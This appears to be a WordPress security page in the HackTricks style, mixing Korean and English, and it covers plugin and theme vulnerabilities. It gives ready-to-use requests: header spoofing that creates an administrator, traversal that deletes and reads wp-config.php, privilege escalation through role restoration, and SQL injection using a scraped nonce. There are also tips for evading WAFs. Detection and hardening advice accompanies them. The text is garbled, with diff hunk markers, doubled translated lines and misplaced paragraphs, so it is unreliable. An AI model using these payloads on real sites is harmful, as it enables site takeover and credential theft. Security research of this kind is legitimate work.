WordPress 테마와 플러그인은 종종 `wp_ajax_``wp_ajax_nopriv_` 훅을 통해 AJAX 핸들러를 노출합니다. **_nopriv_** 변형이 사용될 때 **콜백은 인증되지 않은 방문자가 접근할 수 있게 됩니다**, 따라서 모든 민감한 작업은 추가적으로 다음을 구현해야 합니다:
일부 플러그인은 내부 통합이나 reverse proxies를 위한 "trusted header" 단축 경로를 구현하고, 해당 헤더를 REST 요청의 현재 사용자 컨텍스트를 설정하는 데 사용합니다. 업스트림 컴포넌트가 그 헤더를 요청에 암호학적으로 바인딩하지 않으면 공격자가 이를 스푸핑하여 관리자 권한으로 권한이 있는 REST 라우트에 접근할 수 있습니다.
1. **권한 확인** (예: `current_user_can()` 또는 최소한 `is_user_logged_in()`), 및
2. **CSRF nonce**를 `check_ajax_referer()` / `wp_verify_nonce()`로 검증, 및
3. **엄격한 입력 정화 / 검증**.
- Impact: 인증되지 않은 상태에서 core users REST route를 통해 새 관리자 계정을 생성하여 관리자 권한으로 권한 상승이 발생합니다.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (사용자 ID 1을 강제 지정하며, 일반적으로 첫 번째 관리자 계정입니다.)
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
Litho 다목적 테마 (< 3.1) *Remove Font Family* 기능에서 3가지 제어를 잊어버리고 다음 코드를 포함하여 배포하게 되었습니다 (단순화됨):
PoC
```http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Why it works
- 플러그인은 클라이언트가 제어하는 헤더를 인증 상태에 매핑하고 권한 검사를 건너뛴다.
- WordPress core는 이 라우트에 대해 `create_users` capability를 기대한다; 플러그인 해킹은 헤더에서 현재 사용자 컨텍스트를 직접 설정하여 이를 우회한다.
Expected success indicators
- 생성된 사용자를 설명하는 JSON 바디와 함께 HTTP 201.
- 새 관리자 계정이 `wp-admin/users.php`에 표시됨.
Detection checklist
- `getallheaders()`, `$_SERVER['HTTP_...']` 또는 사용자 정의 헤더를 읽어 사용자 컨텍스트를 설정하는 vendor SDK(예: `wp_set_current_user()`, `wp_set_auth_cookie()`)를 grep한다.
- 요청 헤더에 의존하고 강력한 `permission_callback` 검사가 없는 권한 있는 콜백에 대한 REST 등록을 검토한다.
- REST 핸들러 내부에서 헤더 값으로만 제한된 상태로 사용되는 코어 사용자 관리 함수(`wp_insert_user`, `wp_create_user`)의 사용을 찾아본다.
Hardening
- 클라이언트가 제어하는 헤더에서 인증 또는 권한을 유도하지 마라.
- 리버스 프록시가 반드시 신원을 주입해야 하는 경우, 프록시에서 신뢰를 종료하고 수신 복사본을 제거(예: 에지에서 `unset X-Wcpay-Platform-Checkout-User`)한 다음 서명된 토큰을 전달하고 서버 측에서 검증하라.
- 권한 있는 동작을 수행하는 REST 라우트에는 `current_user_can()` 검사와 엄격한 `permission_callback`을 요구하라(절대 `__return_true` 사용 금지).
- 헤더 "impersonation"보다 1st-party 인증(쿠키, application passwords, OAuth)을 선호하라.
References: see the links at the end of this page for a public case and broader analysis.
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress 테마와 플러그인은 종종 `wp_ajax_``wp_ajax_nopriv_` 훅을 통해 AJAX 핸들러를 노출한다. **_nopriv_** 변형이 사용되면 **콜백이 인증되지 않은 방문자에 의해 접근 가능해진다**, 따라서 민감한 동작은 추가로 다음을 구현해야 한다:
1. **권한 검사** (예: `current_user_can()` 또는 최소한 `is_user_logged_in()`), 그리고
2. **CSRF nonce**`check_ajax_referer()` / `wp_verify_nonce()`로 검증, 그리고
3. **엄격한 입력 정화/검증**.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -398,31 +443,31 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
이 스니펫에서 발생하는 문제:
이 스니펫으로 인해 발생하는 문제:
* **인증되지 않은 접근** `wp_ajax_nopriv_` 훅이 등록되어 있습니다.
* **논스 / 권한 검사 없음** 모든 방문자가 엔드포인트에 접근할 수 있습니다.
* **경로 정리 없음** 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일 시스템 경로에 연결되어, 고전적인 `../../` 탐색이 가능합니다.
* **Unauthenticated access** `wp_ajax_nopriv_` 훅이 등록되어 있다.
* **No nonce / capability check** 어떤 방문자라도 엔드포인트를 호출할 수 있다.
* **No path sanitisation** 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일시스템 경로에 연결되어 classic `../../` traversal을 허용한다.
#### 악용
#### Exploitation
공격자는 단일 HTTP POST 요청을 보내어 **업로드 기본 디렉토리 아래의** 모든 파일이나 디렉토리를 삭제할 수 있습니다 (일반적으로 `<wp-root>/wp-content/uploads/`입니다).
공격자는 단일 HTTP POST 요청을 보내어 **uploads base directory 이하에 있는** 모든 파일이나 디렉터리(보통 `<wp-root>/wp-content/uploads/`)를 삭제할 수 있다:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
`wp-config.php` 파일이 *uploads* 외부에 위치하기 때문에 기본 설치에서는 네 개의 `../` 시퀀스만으로 충분합니다. `wp-config.php`를 삭제하면 다음 방문 시 WordPress가 *설치 마법사*로 강제 전환되어 전체 사이트를 장악할 수 있습니다(공격자는 단순히 새로운 DB 구성을 제공하고 관리자 사용자를 생성합니다).
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
다른 영향력 있는 타겟으로는 보안 플러그인을 무력화하기 위한 플러그인/테마 `.php` 파일이나 `.htaccess` 규칙이 있습니다.
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
#### 탐지 체크리스트
* 파일 시스템 헬퍼(`copy()`, `unlink()`, `$wp_filesystem->delete()`, 등)를 호출하는 모든 `add_action( 'wp_ajax_nopriv_...')` 콜백.
* 경로에 대한 비위생적인 사용자 입력의 연결( `$_POST`, `$_GET`, `$_REQUEST`를 찾아보세요).
* `check_ajax_referer()``current_user_can()`/`is_user_logged_in()`의 부재.
* 파일 시스템 헬퍼(`copy()`, `unlink()`, `$wp_filesystem->delete()` 등)를 호출하는 `add_action( 'wp_ajax_nopriv_...')` 콜백.
* 필터링되지 않은 사용자 입력을 경로에 연결하는 경우(`$_POST`, `$_GET`, `$_REQUEST` 등을 확인).
* `check_ajax_referer()``current_user_can()`/`is_user_logged_in()` 의 부재.
#### 강화
#### 하드닝
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
@ -442,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **항상** 디스크에서의 모든 쓰기/삭제 작업을 특권으로 간주하고 두 번 확인하십시오:
> • 인증 • 권한 부여 • 논스 • 입력 정화 • 경로 포함 (예: `realpath()``str_starts_with()`를 통해).
> **항상** 디스크에 대한 쓰기/삭제 작업은 권한이 있는 것으로 취급하고 다음을 반드시 재확인하세요:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### 오래된 역할 복원 및 누락된 권한 부여를 통한 권한 상승 (ASE "View Admin as Role")
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
많은 플러그인이 원래 역할을 사용자 메타에 저장하여 나중에 복원할 수 있도록 "역할로 보기" 또는 임시 역할 전환 기능을 구현합니다. 복원 경로가 요청 매개변수(예: `$_REQUEST['reset-for']`)와 플러그인 유지 관리 목록만을 의존하고, 능력 및 유효한 논스를 확인하지 않으면 수직 권한 상승이 발생합니다.
많은 플러그인은 원래 역할을 user meta에 저장해 나중에 복원할 수 있도록 "view as role" 또는 일시적인 역할 전환 기능을 구현합니다. 복원 경로가 요청 파라미터(예: `$_REQUEST['reset-for']`)와 플러그인이 관리하는 목록에만 의존하고 capabilities 검사와 유효한 nonce를 확인하지 않는다면, 이것은 vertical privilege escalation이 됩니다.
실제 사례는 Admin and Site Enhancements (ASE) 플러그인(≤ 7.6.2.1)에서 발견되었습니다. 리셋 분기는 `reset-for=<username>`에 따라 역할을 복원했으며, 사용자의 내부 배열 `$options['viewing_admin_as_role_are']`에 사용자 이름이 나타나면 현재 역할을 제거하고 사용자 메타 `_asenha_view_admin_as_original_roles` 저장된 역할을 다시 추가하기 전에 `current_user_can()` 확인이나 논스 검증을 수행하지 않았습니다:
실제 사례는 Admin and Site Enhancements (ASE) 플러그인 (≤ 7.6.2.1)에서 발견되었습니다. reset 분기는 내부 배열 `$options['viewing_admin_as_role_are']`에 사용자명이 존재하면 `reset-for=<username>`에 따라 역할을 복원했으나, 현재 역할을 제거하고 user meta `_asenha_view_admin_as_original_roles`에 저장된 역할을 다시 추가하기 전에 `current_user_can()` 검사나 nonce 검증을 전혀 수행하지 않았습니다:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -466,19 +511,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
취약한가
악용 가능한가
- 서버 측 권한 부여 없이 `$_REQUEST['reset-for']`와 플러그인 옵션을 신뢰합니다.
- 사용자가 이전에 `_asenha_view_admin_as_original_roles`저장된 더 높은 권한을 가지고 있었고 강등되었다면, 리셋 경로를 통해 이를 복원할 수 있습니다.
- 일부 배포에서는 인증된 사용자가 여전히 `viewing_admin_as_role_are`에 있는 다른 사용자 이름에 대해 리셋을 트리거할 수 있습니다 (권한 부여 실패).
- 서버 측 권한 확인 없이 `$_REQUEST['reset-for']`와 플러그인 옵션을 신뢰함.
- 사용자가 이전에 `_asenha_view_admin_as_original_roles`더 높은 권한이 저장되어 있다가 권한이 강등된 경우, 리셋 경로를 호출하면 해당 권한을 복원할 수 있음.
- 일부 배포에서는, 인증된 어떤 사용자라도 `viewing_admin_as_role_are`에 여전히 남아있는 다른 사용자명에 대한 리셋을 트리거할 수 있음(권한 검증 결함).
공격 전제 조건
- 기능이 활성화된 취약한 플러그인 버전.
- 대상 계정에 이전 사용에서 저장된 오래된 높은 권한 역할이 있습니다.
- 인증된 세션; 리셋 흐름에서 누락된 nonce/능력.
- 해당 기능이 활성화된 취약한 플러그인 버전.
- 타깃 계정이 이전 사용으로 인해 user meta에 저장된 오래된 고권한 역할을 보유함.
- 인증된 세션(어떤 것이라도 가능); reset 흐름에서 nonce/capability 검증이 없음.
악용 (예시)
Exploitation (example)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
@ -486,42 +531,57 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
취약한 빌드에서는 현재 역할을 제거하고 저장된 원래 역할(예: `administrator`)을 다시 추가하여 효과적으로 권한을 상승시킵니다.
취약한 빌드에서는 이것이 현재 역할을 제거하고 저장된 원래 역할(예: `administrator`)을 다시 추가하여 권한을 상승시킨다.
탐지 체크리스트
- 사용자 메타에 “원래 역할”을 지속하는 역할 전환 기능을 찾습니다(예: `_asenha_view_admin_as_original_roles`).
- 다음을 포함하는 재설정/복원 경로를 식별합니다:
- `$_REQUEST` / `$_GET` / `$_POST`에서 사용자 이름을 읽습니다.
- `current_user_can()``wp_verify_nonce()` / `check_admin_referer()` 없이 `add_role()` / `remove_role()`를 통해 역할을 수정합니다.
- 행위자의 능력 대신 플러그인 옵션 배열(예: `viewing_admin_as_role_are`)을 기반으로 권한을 부여합니다.
- 역할 전환 기능 중 user meta에 “원래 역할”을 유지하는 기능(예: `_asenha_view_admin_as_original_roles`)을 찾아라.
- 다음과 같은 재설정/복원 경로를 식별하라:
- 사용자 이름을 `$_REQUEST` / `$_GET` / `$_POST`에서 읽는다.
- `current_user_can()``wp_verify_nonce()` / `check_admin_referer()` 없이 `add_role()` / `remove_role()`로 역할을 변경한다.
- 행위자의 capabilities(권한) 대신 플러그인 옵션 배열(예: `viewing_admin_as_role_are`)을 기반으로 권한을 부여하는 것을 식별하라.
강화
보안 강화
- 모든 상태 변경 분기에서 능력 검사를 시행합니다(예: `current_user_can('manage_options')` 또는 더 엄격하게).
- 모든 역할/권한 변형에 대해 nonce를 요구하고 이를 검증합니다: `check_admin_referer()` / `wp_verify_nonce()`.
- 요청에서 제공된 사용자 이름을 절대 신뢰하지 마십시오; 인증된 행위자와 명시적 정책을 기반으로 서버 측에서 대상 사용자를 확인합니다.
- 프로필/역할 업데이트 시 “원래 역할” 상태를 무효화하여 오래된 높은 권한 복원을 방지합니다:
- 모든 상태 변경 분기마다 권한 검사를 강제 적용(예: `current_user_can('manage_options')` 또는 더 엄격한 검사).
- 모든 역할/권한 변경에 대해 nonce를 요구하고 검증하라: `check_admin_referer()` / `wp_verify_nonce()`.
- 요청으로 전달된 사용자 이름을 절대 신뢰하지 말고; 인증된 행위자와 명시적 정책에 따라 서버 측에서 대상 사용자를 결정하라.
- 프로필/역할 업데이트 시 “원래 역할” 상태를 무효화하여 오래된 고권한 복원을 방지하라:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- 최소한의 상태를 저장하고 임시 역할 전환을 위해 시간 제한이 있는 권한 보호 토큰을 사용하는 것을 고려하세요.
- 임시 역할 전환을 위해 최소한의 상태만 저장하고 시간 제한이 있는 capability-guarded 토큰 사용을 고려하세요.
---
## WordPress 보호
### WAF considerations for WordPress/plugin CVEs
### 정기 업데이트
Generic edge/server WAFs는 광범위한 패턴(SQLi, XSS, LFI)에 맞춰 튜닝되어 있습니다. 많은 고위험 WordPress/plugin 취약점은 애플리케이션 특화 로직/auth 버그로, 엔진이 WordPress 경로와 플러그인 의미론을 이해하지 못하면 정상 트래픽처럼 보입니다.
WordPress, 플러그인 및 테마가 최신인지 확인하세요. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하세요:
Offensive notes
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Dont rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
## WordPress Protection
### Regular Updates
Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
또한, **신뢰할 수 있는 WordPress 플러그인과 테마만 설치하세요**.
또한, **신뢰할 수 있는 WordPress plugins와 themes만 설치하세요**.
### 보안 플러그인
@ -529,17 +589,18 @@ add_filter( 'auto_update_theme', '__return_true' );
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **기타 권장 사항**
### **기타 권장사항**
- 기본 **admin** 사용자 제거
- 기본 **admin** 계정 제거
- **강력한 비밀번호**와 **2FA** 사용
- 주기적으로 사용자 **권한** 검토
- 무차별 대입 공격을 방지하기 위해 **로그인 시도 제한**
- **`wp-admin.php`** 파일 이름 변경 및 내부 또는 특정 IP 주소에서만 접근 허용.
- 정기적으로 사용자 **권한**을 **검토**하세요
- **로그인 시도 제한**으로 Brute Force 공격을 방지하세요
- **`wp-admin.php`** 파일명을 변경하고 내부 또는 특정 IP에서만 접근을 허용하세요.
### 인증되지 않은 SQL 인젝션 (WP Job Portal <= 2.3.2)
WP Job Portal 채용 플러그인은 궁극적으로 `modules/category/model.php::validateFormData()` 내에서 다음과 같은 취약한 코드를 실행하는 **savecategory** 작업을 노출했습니다:
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
WP Job Portal 채용 플러그인은 **savecategory** 작업을 노출했으며, 이는 궁극적으로 `modules/category/model.php::validateFormData()` 내부에서 다음과 같은 취약한 코드를 실행합니다:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -549,19 +610,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
이 스니펫에서 발생하는 문제:
Issues introduced by this snippet:
1. **비위생적인 사용자 입력** `parentid`는 HTTP 요청에서 직접 가져옵니다.
2. **WHERE 절 내 문자열 연결** `is_numeric()` / `esc_sql()` / 준비된 문이 없습니다.
3. **인증되지 않은 접근 가능성** 작업이 `admin-post.php`를 통해 실행되지만, 유일한 검사는 **CSRF nonce**(`wp_verify_nonce()`)로, 모든 방문자가 단축 코드 `[wpjobportal_my_resumes]`를 포함한 공개 페이지에서 이를 가져올 수 있습니다.
1. **검증되지 않은 사용자 입력** `parentid`가 HTTP 요청에서 그대로 전달됩니다.
2. **WHERE 절 내부의 문자열 연결** `is_numeric()` / `esc_sql()` / prepared statement가 없습니다.
3. **인증되지 않은 접근 가능성** 액션은 `admin-post.php`를 통해 실행되지만, 유일한 검증은 **CSRF nonce** (`wp_verify_nonce()` )이며, 이는 단축코드 `[wpjobportal_my_resumes]`를 포함한 공개 페이지에서 누구나 가져올 수 있습니다.
#### 악용
#### Exploitation
1. 새 nonce 가져오기:
1. Grab a fresh nonce:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. `parentid`를 악용하여 임의의 SQL 주입:
2. Inject arbitrary SQL by abusing `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -569,18 +630,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
응답은 주입된 쿼리의 결과를 공개하거나 데이터베이스를 변경하여 SQLi를 증명합니다.
The response discloses the result of the injected query or alters the database, proving SQLi.
### 인증되지 않은 임의 파일 다운로드 / 경로 탐색 (WP Job Portal <= 2.3.2)
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
또 다른 작업, **downloadcustomfile**,은 방문자가 경로 탐색을 통해 **디스크의 모든 파일**을 다운로드할 수 있도록 허용했습니다. 취약한 싱크는 `modules/customfield/model.php::downloadCustomUploadedFile()`에 위치합니다:
Another task, **downloadcustomfile**, allowed visitors to download **디스크상의 모든 파일** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name`은 공격자가 제어할 수 있으며 **정화 없이** 연결됩니다. 다시 말해, 유일한 차단 요소는 이력서 페이지에서 가져올 수 있는 **CSRF nonce**입니다.
`$file_name`은 공격자가 제어하며 **검증 없이** 이어붙여집니다. 다시 말해, 유일한 장벽은 이력서 페이지에서 가져올 수 있는 **CSRF nonce**입니다.
#### Exploitation
```bash
@ -591,13 +652,16 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
서버`wp-config.php`의 내용을 응답하여 DB 자격 증명 및 인증 키를 유출합니다.
서버`wp-config.php`의 내용을 반환하여 leaking DB credentials and auth keys.
## References
## 참조
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3 changeset delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
{{#include ../../banners/hacktricks-training.md}}